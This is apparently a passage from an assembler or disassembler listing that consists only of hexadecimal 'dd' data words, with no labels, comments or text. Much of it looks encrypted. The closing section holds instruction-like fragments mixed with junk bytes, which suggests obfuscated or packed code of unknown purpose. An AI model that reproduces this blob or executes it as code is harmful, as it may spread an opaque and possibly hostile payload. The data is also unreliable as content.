		dd 0CB8159B5h, 7CC8069Bh, 604CC181h, 0F570000h,	48Ah, 6BB6600h
		dd 0E3685F76h, 0E9000017h, 8, 5AF32EEDh, 579D3BF0h, 0FF4EB65Eh
		dd 0E8815831h, 61D887Fh, 0B671DB81h, 0E8817E94h, 2E3CABFDh
		dd 8D59CF81h, 0E8810410h, 208BC9D9h, 0E850FA8Bh, 0Dh, 364DE6C4h
		dd 25C1EB80h, 2B235447h, 0DEBF0FAFh, 66018F5Ah,	810BA9BAh
		dd 0A0B2E2E9h, 5870F4Fh, 0BF000000h, 21B9709Ch,	0B2DEC181h
		dd 60564FA0h, 6893B866h, 5B615F52h, 0F01EE83h, 1185h, 7C02BF00h
		dd 11E96896h, 52000000h, 0BEE167EDh, 80E97610h,	18FFFFFFh
		dd 9CD20DADh, 39EBh, 2CC00C1h, 2E400C1h, 0C1h, 0AB0F0000h
		dd 0A7FA449Dh, 0AFB77584h, 0AB182195h, 0ECDA4C9Eh, 0C2B74D94h
		dd 8EA975BEh, 0B6B821BCh, 0AC1E51BFh, 0A7CF49A4h, 0A2DE4591h
		dd 0C205E17Bh, 0C2B4C9A5h, 9FFB21F0h, 0AE647C33h, 867725D4h
		dd 0C26625D4h, 97F821F0h, 5B4A7D33h, 0CF26B0D9h, 4939B646h
		dd 0EADA047Dh, 273BA1F6h, 0C3BF9C73h, 0B77B27D8h, 700A2F9h
		dd 0C2D809E4h, 913F3884h, 7B0FE17Bh, 4BDB21F4h,	0EAEFB075h
		dd 9C6BACF6h, 3D7D0B55h, 41E57A23h, 0EACAE44Dh,	0D51B21F6h
		dd 7B0F72A0h, 4BDB21F4h, 0EAEFB075h, 8F6BACF6h,	3D7D0B52h
		dd 0A8E57A23h, 0C13670F0h, 0E26F21F0h, 4BEEE2A9h, 43DF05BCh
		dd 0DAE905B4h, 83F621F0h, 0F209E2A1h, 37BB6CC6h, 0ECABB479h
		dd 2E427D8h, 2AE6219Ah,	0C2DB21F3h, 9B2E78D0h, 0C6D26D79h
		dd 0C65F6571h, 0C2BD21EDh, 0B91D70B1h, 0DC212B90h, 6EED1695h
		dd 471DD9B6h, 0C4C52CD5h, 90F64BA6h, 0C27B2218h, 1E701F0h
		dd 0E68AA8AAh, 0E62BA0F4h, 0C2B739F4h, 18963F0h, 6C238C1Bh
		dd 0C07A2E4Dh, 497B21F0h, 9F514903h, 0E26C465Eh, 0A44B2571h
		dd 0CD83DBAAh, 0C2DB2479h, 246C47F0h, 7709B714h, 0C45335FDh
		dd 0C954EF7Ah, 0E4DE21F0h, 320AF0E2h, 2F0B802Ch, 475630D1h
		dd 0C4C64EA8h, 0EFC7ACD9h, 128427D8h, 2AEF219Ah, 0C2DE21F3h
		dd 98AC7BD0h, 0C6937579h, 0C6FF6571h, 0C2ED21EDh, 0B53573B2h
		dd 0C0AAD819h, 4F644839h, 2D5F4787h, 0C6058C14h, 2AE2219Ah
		dd 0C2DB21F3h, 9F2E7CD0h, 0C6D24D79h, 0C65F6571h, 0C2BD21E7h
		dd 651D74B5h, 0AA84C493h, 172EFB56h, 0C2DB3518h, 8AC341F0h
		dd 4F505CDCh, 3DC2D77Eh, 33468733h, 0FFD4D8D0h,	0BA7B9E3Bh
		dd 43ED1CACh, 0F78105F4h, 0C5F0B96h, 27370B98h,	0C271C8E6h
		dd 0F61721F0h, 0E2DFC720h, 2D72FBD9h, 4931571h,	49CDC433h
		dd 0EAEBF04Dh, 0EBF64BF6h, 0EA5FC47Dh, 0A86DDEF6h, 0C13674F0h
		dd 0E26F21F0h, 4BEAE2ADh, 43DF059Ch, 0DBE905B4h, 87F621F0h
		dd 0EA47E2A5h, 42EB985Fh, 612FA479h
		dd 0C20527DBh, 0C2B4C9A1h, 9BFB21F0h, 8E647833h, 867725D4h
		dd 0C26125D4h, 93FC21F0h, 856D9933h, 46754532h,	0E6CAACFBh
		dd 3A5027D8h, 0C2EFEDF5h, 3773A8F0h, 417D0A53h,	47343930h
		dd 0C4F58209h, 2ED6E1C3h, 31B721F2h, 0C2CBC85Ah, 1BD421F0h
		dd 0BBD6508Dh, 39231C29h, 41AF1943h, 43B841C2h,	4B67A39h
		dd 0EABA0475h, 775062F6h, 0C4C500C5h, 1E2C2198h, 0BFC24757h
		dd 0E689A054h, 0F96590AEh, 0C0AE94F3h, 774827D8h, 0C4F335FDh
		dd 0EE04ACC1h, 777F27D8h, 0C4532E49h, 0ADE5A47Dh, 0C2B427DBh
		dd 0C26CC9A5h, 9F9721F0h, 0AE527C33h, 866C25D4h, 0C2EA25D4h
		dd 973E21F0h, 0F5DC4133h, 4BD2F846h, 0D386725Bh, 40B721F0h
		dd 3D5E63D4h, 423522CFh, 600D18CDh, 0ADC8E1ADh,	43301008h
		dd 3DD809D6h, 0B3DA1220h, 4BB109E1h, 0EAD94475h, 0AF58AAF6h
		dd 4FF009D4h, 0EA576075h, 97BD4BF6h, 0C2DE2218h, 13201F0h
		dd 0E6DBA8ADh, 0E69FA0F4h, 0C2ED3BF4h, 1A364F0h, 0B6DD5340h
		dd 4B83C757h, 0EAFA1075h, 946F4BF6h, 0C2B72218h, 18501F0h
		dd 0E699A8AEh, 0E6B2A0F4h, 0C27B3BF4h, 1EB67F0h, 239C0909h
		dd 436AF4A3h, 779D8337h, 0E75EE791h, 91EB09FDh,	0CFEFB479h
		dd 431D27D8h, 0AA49CD11h, 651817EFh, 43B9AA96h,	0D00E05F4h
		dd 7750751Bh, 0C4C525CDh, 0D6FB940Fh, 77F027D8h, 0C4952365h
		dd 0AD86A47Dh, 0C20527DBh, 0C2B4C9A1h, 9BFB21F0h, 8E647833h
		dd 867725D4h, 0C26C25D4h, 93FC21F0h, 0C2C89F33h, 0A4BFDE48h
		dd 4BE3C94Ah, 0EADF4475h, 95ED4BF6h, 0C2F62218h, 12401F0h
		dd 0E6C1A8AFh, 0E69AA0F4h, 0C26F35F4h, 1E066F0h, 9B66A865h
		dd 0CDEB09D9h, 0C2F62D7Eh, 0C4F12EF0h, 49BD21F0h, 0EAD3544Dh
		dd 0E7EAE7F6h, 91B109FDh, 0A012A096h, 751B49F3h, 0C51FFBB9h
		dd 0C87B21F0h, 0E9E65B88h, 0F65F4657h, 931C64D4h, 92B74BF2h
		dd 0C2DB2218h, 1B501F0h, 0E6B2A8A8h, 0E63FA0F4h, 0C2BD37F4h
		dd 18E61F0h, 0CDD39690h, 7748F147h, 0C4F335FDh,	2ABF219Ah
		dd 0C2F621F3h, 98B87BD0h, 0C6997579h, 0C6FA6571h, 0C26F21E5h
		dd 0A97473B2h, 940CAA46h, 0DDD0947Bh, 4FAF27D8h, 0E9147975h
		dd 534AA0F6h, 3DFA9280h, 976F4B20h, 0C2B72218h,	18601F0h
		dd 0E681A8ADh, 0E6B2A0F4h, 0C27B39F4h, 1E864F0h, 61F03CE3h
		dd 7D2084Bh, 4BB109FDh,	0EAD5B475h, 95ED4BF6h, 0C2F62218h
		dd 12401F0h, 0E6C1A8AFh, 0E69AA0F4h, 0C26F37F4h, 1E066F0h
		dd 49194EC3h, 0EAEA204Dh, 0E773E7F6h, 857D09FDh, 0C6449C7Bh
		dd 7F5727D8h, 0C44707B9h, 0C2B72518h, 1C0688F0h, 0C0612E47h
		dd 48F621F0h, 4B74711Bh, 0C2BD21FAh, 556873A0h,	983C10FFh
		dd 863C79AAh, 335025D4h, 41E2217Bh, 0C2F621F4h,	0EFA9896h
		dd 0C6996579h, 9A33A84Ah, 0C20579E7h, 0C2B4C9A0h, 9AFB21F0h
		dd 86647933h, 867725D4h, 0C26225D4h, 92FD21F0h,	0BB381933h
		dd 7DA95507h, 975E0437h, 0D6D6940Fh, 0C28727D8h, 0C2F5C9A3h
		dd 995B21F0h, 9E347A33h, 865F25D4h, 0C27425D4h,	91F421F0h
		dd 2E84CF33h, 9F6BB00Ch, 0C2F9C82Ch, 3BC21F0h, 502EA099h
		dd 1F849F3Bh, 345BA169h, 9A32AC27h, 0A2DD0A9Fh,	0EDECAC79h
		dd 789027D8h, 3D1AFEF5h, 91BD4B20h, 0C2DE2218h,	13401F0h
		dd 0E6EBA8ABh, 0E69FA0F4h, 0C2ED3CF4h, 1A562F0h, 8E89F0B9h
		dd 53232573h, 4FF7BC20h, 0C447308Dh, 0C0C6A479h, 7F5227D8h
		dd 0C4C5037Dh, 0CFD3A436h, 0CD3C27D8h, 0C2BD2D7Eh, 0C4542EF0h
		dd 496F21F0h, 0EAA1D865h, 2B4E08F6h, 0AAEB09DCh, 0F630A6E8h
		dd 0C27CC890h, 0F86B21F0h, 57A2B0C2h, 0C267C8DFh, 3C9021F0h
		dd 0AAD0C85h, 438C9AA7h, 4B9405F4h, 0C2116CE5h,	0C2BEC9A3h
		dd 99FE21F0h, 9EE67A33h, 863625D4h, 0C2CF25D4h,	91AE21F0h
		dd 777FBD33h, 0C4533CA9h, 7742DF7Bh, 0C4F635FDh, 2A3F219Ah
		dd 0C2B721F3h, 9A1879D0h, 0C6C96579h, 0C6D26571h, 0C27B21EDh
		dd 667E71B0h, 2F614AACh, 1391BC2h, 130AA85Fh, 4FDD09E9h
		dd 0E9827975h, 0C77C2EF6h, 7C7B21F0h, 0AF2E91DBh, 0C2B4F10Fh
		dd 0C26CC9A1h, 9B9721F0h, 8E527833h, 866C25D4h,	0C2ED25D4h
		dd 933A21F0h, 5C0EE033h, 720ABD76h, 0C3EAA83Ah,	4BB109F2h
		dd 0EAD66C65h, 0E768E7F6h, 85F009FDh, 2A29219Ah, 0C2BD21F3h
		dd 981D7BD0h, 0C64B7579h, 0C6936571h, 0C2DB21ECh, 2D2E73B2h
		dd 1318D49Eh, 638A0B59h, 0B981B298h, 0C2D5C81Fh, 9F6221F0h
		dd 0C6061F21h, 20C36E54h, 0E6D9A0C3h, 8740213Eh, 2A2E219Ah
		dd 0C2BD21F3h, 9F1D7CD0h, 0C64B4D79h, 0C6936571h, 0C2DB21EDh
		dd 842E74B5h, 0F6ADCCEEh, 0EC636AD3h, 28B39B00h, 235F3DD9h
		dd 0E5A42A8Dh, 0D6BA940Fh, 0C2B127D8h, 0C2EEC9A6h, 9CD621F0h
		dd 0B6F27F33h, 863C25D4h, 0C2C225D4h, 942921F0h, 2721DE33h
		dd 0DAB0C610h, 498D5DBEh, 0EAF0506Dh, 431D41F6h, 0F3CEAD1Ah
		dd 0EAFAC465h, 490E40F6h, 0EAA94C45h, 262CA0F6h, 4F8E73D5h
		dd 0E9997975h, 0A7C6A8F6h, 3DBB09F9h, 94DE4B20h, 0C26F2218h
		dd 1E901F0h, 0E6AFA8AEh, 0E6A9A0F4h, 0C2F636F4h, 12D67F0h
		dd 36DDE42Ah, 0E177A479h, 0C20527D8h, 0C2B4C9A3h, 99FB21F0h
		dd 9E647A33h, 867725D4h, 0C26E25D4h, 91FE21F0h,	3DA8B133h
		dd 956F4B20h, 0C2B72218h, 18401F0h, 0E691A8AFh,	0E6B2A0F4h
		dd 0C27B38F4h, 1EA66F0h, 946A0E34h, 4B9A38A5h, 0EA9C4475h
		dd 93DB4BF6h, 0C2ED2218h, 1AF01F0h, 0E637A8A9h,	0E6F9A0F4h
		dd 0C2DE3BF4h, 13E60F0h, 0D99A79AFh, 93A35B9Fh,	4E8B7808h
		dd 94F64B28h, 0C27B2218h, 1E301F0h, 0E6AAA8AEh,	0E62BA0F4h
		dd 0C2B734F4h, 18D67F0h, 77661B9Fh, 0C4DE3765h,	0C65FD97Bh
		dd 2AEC219Ah, 0C2DE21F3h, 9BAC78D0h, 0C6936D79h, 0C6FF6571h
		dd 0C2ED21ECh, 0CC3570B1h, 4D7CC437h, 0B480760Ah, 0F0FFBC79h
		dd 26527D8h, 0C17EA5FFh, 0D13321F0h, 5EED21F0h,	0D0AF578Ch
		dd 1D9D97CAh, 0F5303852h, 0B8F08302h, 77E47EC1h, 0C49F3E55h
		dd 0E75EE7AAh, 8DEB09FDh, 2AA3219Ah, 0C27B21F3h, 9F7E7CD0h
		dd 0C6FA4D79h, 0C64B6571h, 0C2B721EDh, 371874B5h, 5E4E08DBh
		dd 2F595DB3h, 0F2BE4912h, 0CDEE4B01h, 0C2DE217Ah, 0C6EE7EF0h
		dd 4D8CDED4h, 90DB4BA4h, 0C2ED2218h, 1AC01F0h, 0E62FA8AAh
		dd 0E6F9A0F4h, 0C2DE3BF4h, 13D63F0h, 181C6B3Fh,	4BCFBE07h
		dd 0EAFBBC6Dh, 0E3630AF6h, 3D7D09F0h, 0EAA92C45h, 91DE4BF6h
		dd 0C26F2218h, 1EC01F0h, 0E687A8ABh, 0E6A9A0F4h, 0C2F634F4h
		dd 12862F0h, 573640F7h,	0C4F6304Dh, 0AD37A47Dh,	7F3C27DBh
		dd 0C4F324B1h, 0C287F10Fh, 0C2F5C9A1h, 9B5B21F0h, 8E347833h
		dd 865F25D4h, 0C27225D4h, 93F621F0h, 9D0E6C33h,	0DB97673Dh
		dd 93554F85h, 0C27B2E18h, 0D01663F0h, 7CCAAC54h, 7459DA1Dh
		dd 2ED35DBAh, 2587FAFh,	95ED4BD4h, 0C2F62218h, 12401F0h
		dd 0E6C1A8AFh, 0E69AA0F4h, 0C26F36F4h, 1E066F0h, 797940F5h
		dd 0DDE4AC79h, 7F7F27D8h, 0C453352Dh, 0D5D0A479h, 775527D8h
		dd 0C4472039h, 0E9D2A47Bh, 0C2B127D8h, 0C2EEC9A2h, 98D621F0h
		dd 96F27B33h, 863C25D4h, 0C2CB25D4h, 902D21F0h,	0CDAF0D33h
		dd 0C2DB2575h, 835747F0h, 6B6BAAD7h, 0A87D09D3h, 0C15577F0h
		dd 0E2DE21F0h, 4B31E2AEh, 43B30584h, 0DFDF05B4h, 84ED21F0h
		dd 3798E2A6h, 0E8D2F01Eh, 0C1028001h, 0C2DE2A19h, 63109FF0h
		dd 0E3B6688Dh, 4BFA146Dh, 94ED4BB3h, 0C2F62218h, 12501F0h
		dd 0E6C9A8AEh, 0E69AA0F4h
		dd 0C26F34F4h, 1E167F0h, 775003F4h, 0C4C50E51h,	7F7F3A7Bh
		dd 0C453309Dh, 0E6D0B479h, 0D95527D8h, 49959EFFh, 93B74BEBh
		dd 0C2DB2218h, 1B401F0h, 0E6BAA8A9h, 0E63FA0F4h, 0C2BD39F4h
		dd 18F60F0h, 990F1373h,	2F320849h, 0F1DD09D3h, 97ED4B28h
		dd 0C2F62218h, 12601F0h, 0E6D1A8ADh, 0E69AA0F4h, 0C26F39F4h
		dd 1E264F0h, 96888B2Ah,	2ABC417Fh, 0C2F621F6h, 974EC8FBh
		dd 9AE64036h, 5F574008h, 0C4470CF5h, 2AE6219Ah,	0C2DB21F3h
		dd 9B2E78D0h, 0C6D26D79h, 0C65F6571h, 0C2BD21EBh, 0F1D70B1h
		dd 87368224h, 414204Bh,	0EAD60475h, 476466F6h, 0C4DE2D31h
		dd 91C147A1h, 76D57F89h, 737AE383h, 0E66BA00Bh,	0D1AB4805h
		dd 2A8E219Ah, 0C2ED21F3h, 9F357CD0h, 0C65F4D79h, 0C6996571h
		dd 0C2DE21ECh, 47AC74B5h, 0E3BEE5A1h, 9B47C0E5h, 4B3F96FFh
		dd 0EAE4F065h, 0CFCEDEF6h, 4BBB09E4h, 0EAF12845h, 9AEAACF6h
		dd 2AB10A9Fh, 0C2DB21E4h, 37ED28F5h, 0F0C7F610h, 9CB0D366h
		dd 89E6FB47h, 6A4BD620h, 0C0FAACDBh, 3DED27D8h,	47F84120h
		dd 0C4C50735h, 0C2F63019h, 41749CF0h, 73544A9h,	669D25A6h
		dd 9E95536Ch, 90D6FA91h, 0C2DB2F18h, 2E70CFF0h,	0AE40E1CAh
		dd 8B64F8CBh, 0CD639323h, 9D80D247h, 0C01EA479h, 0C2DD27D8h
		dd 0C2D8C9A0h, 9ACD21F0h, 867F7933h, 86FA25D4h,	0C2A625D4h
		dd 929E21F0h, 4CC72233h, 24F45F5Bh, 8D35A0B2h, 49B5A3FCh
		dd 0EAF2D07Dh, 77F261F6h, 0C49537B9h, 0C2B4217Bh, 0C26CC9A5h
		dd 9F9721F0h, 0AE527C33h, 866C25D4h, 0C2E125D4h, 973E21F0h
		dd 71ED5133h, 8743A80Fh, 4B6909D0h, 0EA9E046Dh,	0A4DBAAF6h
		dd 4B49F24Eh, 0EAE07075h, 977B4BF6h, 0C2BD2218h, 18301F0h
		dd 0E603A8ADh, 0E6F3A0F4h, 0C2DB35F4h, 1B864F0h, 0D7D47D2h
		dd 0C3FEBC79h, 0DB5427D8h, 0A2DE21F1h, 0C269A7FFh, 41B821F0h
		dd 0C2DB21F0h, 0EED0AC7Bh, 4F9727D8h, 0E9DF3675h, 0EF00AAF6h
		dd 92D809D7h, 3D4B2579h, 0EA84F065h, 97DB4BF6h,	0C2ED2218h
		dd 1AB01F0h, 0E617A8ADh, 0E6F9A0F4h, 0C2DE38F4h, 13A64F0h
		dd 2DFA4815h, 2BBB509Dh, 0C2ED21E4h, 6C2456CEh,	29825269h
		dd 0CFB4E9F8h, 0BE819F06h, 2669255Bh, 0C2B73318h, 0AE07ECF0h
		dd 186C5F09h, 0E6FDF7F5h, 98775545h, 495AE703h,	70BF7A0Eh
		dd 0DFF2AC3Bh, 2BB10A54h, 0C2DB21F5h, 72214632h, 90A6B242h
		dd 902B10FFh, 0C2BD2819h, 82C95EF0h, 8D1BAF2Bh,	0F3B8D318h
		dd 9A81F17Bh, 95BD79AAh, 0C2F63119h, 0E81F33F0h, 5B96B9Eh
		dd 0AB117C3Bh, 230E83A7h, 7C247EC0h, 9829A056h,	0F9524760h
		dd 45F9717Bh, 0C27B21F0h, 49DB7260h, 57217E0Eh,	0C4470DD1h
		dd 0AB02AA09h, 4BDD09F6h, 0EAFA4C75h, 95F64BF6h, 0C27B2218h
		dd 1E201F0h, 0E6A2A8AFh, 0E62BA0F4h, 0C2B73AF4h, 18C66F0h
		dd 827D4E61h, 9944DF2Ah, 0D8FD9E96h, 0CF98A436h, 0CD8D27D8h
		dd 4C07D24Fh, 2A83D5CDh, 0C2DB21E3h, 0B6EDE89h,	0CDDB2558h
		dd 1A6F3683h, 6EDD2C8Bh, 49DE65D4h, 0C6EE7E3Bh,	51F1D0D4h
		dd 95DB4B85h, 0C2ED2218h, 1A901F0h, 0E607A8AFh,	0E6F9A0F4h
		dd 0C2DE3AF4h, 13866F0h, 0A580312h, 936C7A96h, 0C59CBC79h
		dd 770927D8h, 0C45335FDh, 0C2BD3119h, 177331F0h, 0E299F64Fh
		dd 16DC02E4h, 0ED2D881h, 9A68ACE2h, 0C9F00A9Fh,	0EA789445h
		dd 496DDEF6h, 0EACC8C4Dh, 13EAA8F6h, 0A8B109DCh, 0C13370F0h
		dd 0E2ED21F0h, 4BAFE2A9h, 437F05BCh, 0D8B905B4h, 83DE21F0h
		dd 6A55E2A1h, 231E07AFh, 0A35EA898h, 4EB09F6h, 0EAFB0475h
		dd 0C21166F6h, 0C2BEC9A3h, 99FE21F0h, 9EE67A33h, 863625D4h
		dd 0C2C325D4h, 91AE21F0h, 292E0533h, 31CEA389h,	0C2BD2518h
		dd 0B0CBB1F0h, 92169751h, 0C2B72D19h, 0A70CE5F0h, 43224456h
		dd 6AE4149h, 0E63FAA56h, 2ABDAAF4h, 0C2DE21FCh,	7AEBD2F0h
		dd 7C6963CFh, 4EC98207h, 0C2EFA1FFh, 0A39621F0h, 0E63FA8AFh
		dd 0C2B7C8F4h, 40AB21F0h, 0D350BC23h, 0E6A15BA5h, 91DB4BA8h
		dd 0C2ED2218h, 1AD01F0h, 0E627A8ABh, 0E6F9A0F4h, 0C2DE3CF4h
		dd 13C62F0h, 7B06ACEBh,	3EAED6C0h, 49BACC38h, 77097F02h
		dd 0C45335FDh, 0C2BCA5FFh, 4F2B21F0h, 0E9007975h, 93B74BF6h
		dd 0C2DB2218h, 1B401F0h, 0E6BAA8A9h, 0E63FA0F4h, 0C2BD3AF4h
		dd 18F60F0h, 0D74BCAC5h, 0F9A5E186h, 0C2B1F10Fh, 0C2EEC9A1h
		dd 9BD621F0h, 8EF27833h, 863C25D4h, 0C2CA25D4h,	932E21F0h
		dd 473E1833h, 0C4F301E9h, 2ABC219Ah, 0C2F621F3h, 9BB878D0h
		dd 0C6996D79h, 0C6FA6571h, 0C26F21EAh, 4A7470B1h, 0FA0D81F6h
		dd 0E5317AFh, 7BEC73A9h, 0AE0051DDh, 0CF98A436h, 0C38D27D8h
		dd 0EA4B0C6Dh, 0C2B3C9F6h, 9D4B21F0h, 4EE2B8C9h, 0C2F621F2h
		dd 922B5746h, 0C2B0C9A2h, 0F9E221F0h, 5A4AD979h, 0B97B211Ah
		dd 0A4678C71h, 0CDB4EE7Bh, 2AA471C1h, 0C27B21E3h, 0D76790CCh
		dd 89AE8DBCh, 9E49DE7h,	0B1E5B101h, 9DAFE1F8h, 49E210FFh
		dd 0C2F621F0h, 9A2179AAh, 0C699657Bh, 0C255C97Ah, 25E19F96h
		dd 0C6936579h, 92DB4BA8h, 0C2ED2218h, 1AE01F0h,	0E63FA8A8h
		dd 0E6F9A0F4h, 0C2DE35F4h, 13F61F0h, 21094725h,	0CF6EDEE8h
		dd 91EB09E4h, 9B20AA96h, 65F8714Eh, 9A38ACF8h, 0A4D80A9Fh
		dd 0FB8C071h, 0C2DDF10Fh, 0C2D8C9A6h, 9CCD21F0h, 0B67F7F33h
		dd 86FA25D4h, 0C2A125D4h, 949821F0h, 0E1B60633h, 641DFEAEh
		dd 42BB78CCh, 0A3149534h, 0D62FA479h, 0C21127D8h, 0C2BEC9A0h
		dd 9AFE21F0h, 86E67933h, 863625D4h, 0C2C025D4h,	92AD21F0h
		dd 11FDA233h, 48C82C04h, 0EB00AA3Eh, 4D809F9h, 0EA620475h
		dd 7F3C76F6h, 0C4F30095h, 0F8C1D398h, 43129068h, 0BC8F05C4h
		dd 57BC29CEh, 0C4F60A35h, 0D662940Fh, 0C2DD27D8h, 0C2D8C9A1h
		dd 9BCD21F0h, 8E7F7833h, 86FA25D4h, 0C2A725D4h,	939F21F0h
		dd 4C4C2833h, 0A3446ADCh, 0AD83A47Dh, 44E227DBh, 0C2F621E6h
		dd 0C27B3019h, 7AC25EF0h, 1DD1E800h, 42789EE5h,	801A3632h
		dd 12245304h, 2ABE219Ah, 0C2F621F3h, 99B87AD0h,	0C6997D79h
		dd 0C6FA6571h, 0C26F21EDh, 0C47472B3h, 4BBFE627h, 0AF8BD323h
		dd 373A8B2h, 2A7D09DDh,	0C2BD21F6h, 0E86ED5E8h,	490F06D2h
		dd 2AE9402Ah, 0C2DB21FCh, 8C404A2Ah, 254F6F0Fh,	0FF65E0Ah
		dd 0C2322EA2h, 9DDE21F0h, 0E7EAE7AFh, 81B109FDh, 2A8C219Ah
		dd 0C2ED21F3h, 9D357ED0h, 0C65F5D79h, 0C6996571h, 0C2DE21ECh
		dd 0BBAC76B7h, 76CD2271h, 17A6CC3h, 0C2ED2C19h,	289BBFF0h
		dd 7645AB73h, 0B959E6A7h, 0AFB6AB49h, 431BCD9Ah, 0C70C05F4h
		dd 0C2B16654h, 0C2EEC9A3h, 99D621F0h, 9EF27A33h, 863C25D4h
		dd 0C2C725D4h, 912C21F0h, 0C0C53533h, 42ACC69Ch, 7712E93Eh
		dd 0C4DE35FDh, 2A2D219Ah, 0C2BD21F3h, 9C1D7FD0h, 0C64B5579h
		dd 0C6936571h, 0C2DB21E5h, 0B22E77B6h, 434BAACAh, 4F7D09FFh
		dd 0E9D27975h, 7B53AAF6h, 3D6909D1h, 93B74B20h,	0C2DB2218h
		dd 1B401F0h, 0E6BAA8A9h, 0E63FA0F4h, 0C2BD3BF4h, 18F60F0h
		dd 3DC4D41Dh, 95759235h, 0F3B3644Eh, 0CBBC78F1h, 0EAE8B46Dh
		dd 47F278F6h, 0C49502B9h, 2A8D219Ah, 0C26F21F3h, 99747AD0h
		dd 0C6FF7D79h, 0C6C96571h, 0C2F621E8h, 20B872B3h, 1361A141h
		dd 66D3A47Dh, 0C20527DBh, 0C2B4C9A2h, 98FB21F0h, 96647B33h
		dd 867725D4h, 0C26025D4h, 90FF21F0h, 856A533h, 504326DCh
		dd 7CD1B1CEh, 0A48B6561h, 0A87DDB7Bh, 0C11E74F0h, 0E27B21F0h
		dd 4BE0E2ADh, 43DA059Ch
		dd 0DB6B05B4h, 87B721F0h, 439FE2A5h, 9A0688D0h,	0FA589B96h
		dd 68CC9F96h, 0F16CB40Fh, 575727D8h, 0C4473EFDh, 0C2DDF97Bh
		dd 0C2D8C9A3h, 99CD21F0h, 9E7F7A33h, 86FA25D4h,	0C2A525D4h
		dd 919D21F0h, 1A22E933h, 7CD1B1EAh, 4756D026h, 0C4C685F1h
		dd 0C2F62D18h, 2845E9F0h, 172B0E86h, 5CE57A1Ah,	3CA9E6Eh
		dd 0CDED065Bh, 2B8BF34Fh, 0C2ED21E0h, 0EC22C31Bh, 0A840E644h
		dd 89E39602h, 96208565h, 0A84B2579h, 0C15F72F0h, 0E2DB21F0h
		dd 4BB6E2ABh, 43F205ACh, 0D87F05B4h, 81BD21F0h,	0CC45E2A3h
		dd 0A7163536h, 0FF02AA18h, 51DD09F8h, 0DDE69E96h, 3A7D47A0h
		dd 0DFC6AA63h, 3DBB09E8h, 0EAF20065h, 926F4BF6h, 0C2B72218h
		dd 18301F0h, 0E6A9A8A8h, 0E6B2A0F4h, 0C27B35F4h, 1ED61F0h
		dd 0CA37D8CCh, 3E6F21F0h, 68E3912Eh, 4B22C23Dh,	0EAEEDC75h
		dd 8412EF6h, 0CFBAA437h, 0C2B227D8h, 0C2B421F0h, 0C26CC9A0h
		dd 9A9721F0h, 86527933h, 866C25D4h, 0C2EF25D4h,	923B21F0h
		dd 661DA533h, 496A332Bh, 3FFADE07h, 49B109F3h, 0FB4EA821h
		dd 4BEB09D0h, 0EAD5F075h, 0C275C8F6h, 0BD7D21F0h, 58870FC3h
		dd 13336B66h, 550DD6FFh, 0C0BEA47Bh, 5F6027D8h,	0C4DD964Dh
		dd 4F7A6279h, 0EA91604Dh, 556BACF6h, 7B690A47h,	0C2B721C3h
		dd 0F1308503h, 0C2ED2148h, 0B6362AF0h, 0C263E3F3h, 0CE99657Bh
		dd 0C2DEC9A3h, 433421F0h, 0C2B73633h, 0E687A8F0h, 0E6A9A8E0h
		dd 0F54E7AE4h, 3D7B8050h, 0E6F9AA10h, 0A83EDEF4h, 0C18773F0h
		dd 0E2B721F0h, 4B81E2AAh, 43E905A4h, 0D4F205B4h, 807B21F0h
		dd 1B1EE2A2h, 0C2DBC847h, 1DDC21F0h, 0A82F4ED9h, 0C13377F0h
		dd 0E2ED21F0h, 4BA8E2AEh, 437F0584h, 0D9B905B4h, 84DE21F0h
		dd 8066E2A6h, 0D37C4AC8h, 7065ACB9h, 0A3E5B0DBh, 2AA0219Ah
		dd 0C27B21F3h, 9C7E7FD0h, 0C6FA5579h, 0C64B6571h, 0C2B721E7h
		dd 631877B6h, 93DF77BBh, 737BA890h, 0A37D09C3h,	0C300ACAEh
		dd 4FD80A54h, 0E9D7417Dh, 698299F6h, 47E8B9D6h,	0C4C53EF1h
		dd 7BA2EEDBh, 0A5C205E1h, 0F0C2B4C9h, 339FFB21h, 0D4AE647Ch
		dd 0D4867725h, 0F0C26625h, 5E98321h, 0D98BA4F3h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0AAC35040h, 0B58B5C15h
		dd 62822F5h, 54E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 2F1C3098h, 175136DCh
		dd 8850Fh, 0F600000h, 81h, 0E9616100h, 0Eh, 673A6DEEh
		dd 2B2601F4h, 0F6E1AF40h, 0FC318FAh, 88Ch, 2850F00h, 60000000h
		dd 6AC08B61h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0A0E8C353h, 7880Fh, 0F600000h
		dd 0F98BF3BFh, 0C18B6061h, 0BD8361FCh, 6280149h, 83097500h
		dd 2814C5BDh, 19740006h, 0C08B5350h, 4B9B8h, 55858900h
		dd 8D06282Eh, 2AA5C59Dh, 5BD3FF06h, 0C5BD8358h,	62814h
		dd 53501774h, 4B9B8h, 55858900h, 8D06282Eh, 2AA2669Dh
		dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 14B95DA5h, 3A2E624Ah, 8060915Ah
		dd 13E994C3h, 7B000000h, 0B3C4D39Bh, 0BE431613h, 0E82EC002h
		dd 76329EBh, 6A61C02Dh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0EC47C357h,	0BF49A384h
		dd 671DA23Bh, 0C3BF0F60h, 6AC08B61h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B89CC350h
		dd 118E0F67h, 0E9000000h, 0Ch, 981DEDC0h, 0DE2EDE72h, 6C2DFBB2h
		dd 0C18B40F9h, 32159D89h, 14E90628h, 87000000h,	354EC3A7h
		dd 7B802614h, 0B31F8315h, 4576401Ch, 0EB228382h, 4, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 5D1E76BBh, 858DFCA4h, 6282C05h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 18C35343h, 35E14C58h, 0A148095Dh
		dd 0CE8F0h, 98BD0000h, 3F492312h, 0AC68B2EDh, 0E95FBBECh
		dd 0Ah,	0B96B5652h, 4C1F769Ah, 5190063Eh, 2830Fh, 5E560000h
		dd 11E9505Eh, 5B000000h, 0C7178C55h, 33C13124h,	605E4AC8h
		dd 0F63B1D7h, 0D9B58B90h, 66062817h, 0F3E5D681h, 6A006Ah
